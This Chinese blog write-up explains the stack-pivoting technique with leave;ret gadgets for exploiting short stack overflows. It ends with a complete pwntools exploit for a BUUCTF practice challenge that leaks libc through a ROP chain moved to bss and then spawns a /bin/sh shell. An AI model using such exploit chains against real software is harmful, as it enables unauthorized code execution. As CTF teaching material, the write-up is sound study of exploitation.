花式栈溢出--栈迁移

  1. 花式栈溢出 - 栈迁移
    1. 0x1 :基本知识:
    2. 0x2 :利用思路 :
    3. 0x3 :实例讲解
    4. 总结:

花式栈溢出 - 栈迁移

0x1 :基本知识:

栈迁移技术来解决的问题:溢出的长度不够,只能覆盖到返回地址,以至于后面无法构造需要构造的rop链。

前置知识:了解C语言是如何调用栈的

栈迁移用到的最关键的两个汇编指令是:leave和ret指令。其作用就是用来还原栈空间的。

a3da18c4a1d547cdb649ac61902b6889

其作用的结果图大概就是下面这样(下面是调用函数时开辟的栈空间):

0x2 :利用思路 :

利用前提:
(1)存在两个变量的输入,如果只能输入一次的话,那必然无法造成溢出,其中一个输入buf变量刚好能溢出到返回地址,而另一个输入变量s的内容应该是存放到bss段或者其他。

在这里插入图片描述

利用思路:一个栈空间长度不够,我既然能够输入两次,那我为什么不把这两个栈空间串联起来,就像把它变成一个栈一样(当然实质并不是这样的),这样的栈空间不就足够了吗?重点就是怎么样把两个栈串联起来呢?关键就是就是依靠leave和ret指令。

首先我们知道调用函数时栈的过程会保存栈布局,并且会移动ebp、esp以此来形成新的栈帧。那和leave ret指令有什么关系呢?

首先我们要知道栈迁移的payload的构成。下面是以32位的libc题型为例画的示意图

payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

最终的效果其实就是和泄露libc时的一样,只不过多了一个leave_ret地址,而且由一个payload变成了两个payload。加上函数调用完以后本身会执行leave和ret指令,这样就有两个了,反复利用leave和ret指令以此来达到栈迁移的目的。

下面是payload在栈上面的布局情况:

我们重点来讲一讲函数调用完以后的返回过程,两个空间是怎么样串联起来的。

(1)第一个leave指令:它先将栈空间清空,将esp弄了回来,然后将(构造好的空间的地址-4)传给了ebp。那为什么地址要减4,这是就和第二个leave指令有关了,之后会有解释。

此时的栈内空间变化:

(2)第一个ret指令:它将带有leave和ret指令的地址传给了eip,那么接下来程序又会跳转到leave处。
此时的栈空间变化:

(3)第二个leave指:其实类似C语言调用栈过程(不过是相反的)。这里先mov esp ebp,然后再pop ebp。
bss-4的原因:这里由于需要再一次pop ebp,所以导致esp会变成esp的地址会加上4(32位),这也是为什么我们设置的bss段的地址要减去4,这样这样esp+4 = bss_addr,而我们构造的payload的地址是从bss_addr开始的,只有这样我们才能准确的执行。如果你将地址写成bss段,就会导致esp = bss_addr +4,然后执行预留返回地址,不会执行write_plt_addr。
这里需要提醒的是:这里是在bss段,并不是真的在栈当中,所以说之后的esp、ebp地址的变化其实并不需要管。只需要知道程序它会向下继续执行。

此时的栈空间变化:

(4)第二个ret指令:将write_plt_addr传给eip,执行write函数。

注意:bss段是从低地址向高地址往高地址增长,所以这是为什么esp在ebp的下面的原因。重点要知道的是他们之间的栈是怎么样的布局的,

总共返回时的流程为:

0x3 :实例讲解

题目链接:[Black Watch 入群题]PWN

程序分析:**32位程序,开启了NX保护**。打开IDA,查看一下源代码

代码分析:上文分析过了,漏洞利用:栈迁移技巧,然后发现没有system函数而且开启了NX保护,所以利用libc的来泄露system函数。本题:栈迁移 + libc。

exp :

from pwn import *

#r = process("./pwn")
r = remote("node4.buuoj.cn",26026)

e = ELF("./pwn")
context(log_level = 'debug')
libc = ELF("./libc-2.23.so")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
bss_addr = 0x0804A300
leave_ret_addr = 0x08048511 

payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("What is your name?")
r.sendline(payload1)

offset = 0x18
payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

r.recvuntil("What do you want to say?")
r.send(payload2)

write_addr = u32(r.recv(4))
print(hex(write_addr))
#pause()

base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()

payload3 = p32(system_addr) + p32(1) + p32(binsh_addr)
r.recvuntil("What is your name?")
r.sendline(payload3)

payload4 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)
r.recvuntil("What do you want to say?")
r.sendline(payload4)

r.sendline("cat flag")
r.interactive()

这里有一个需要注意的点就是,第二个payload发送是用的send,而不是sendline,这里我卡了半天。我觉得这和read函数的读取机制有关系,因为read函数是会读取\n的,当你发送的内容没有溢出的话,它会输出下来,但是当你溢出时他只会输出最多的字节数。具体的原理我也是还没搞懂。

总结:

栈迁移就是将这个空间不够的栈劫持(转移)到我能够写入的一个地方,只要这个地方的内容我提前布局好,就能想你想做的事情,我觉得就是两个栈空间结合起来,以此来扩大空间。

其实如果不是很懂得话,只需要记住:两个payload加起来,然后与之前的想必中间多了一个bss_addr和leave_ret_addr,并且偏移量只是到ebp处。但是如果只是知道做题而不懂原理我是一点作用都没有的,不要为了做题而做题,做题是为了掌握知识点。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏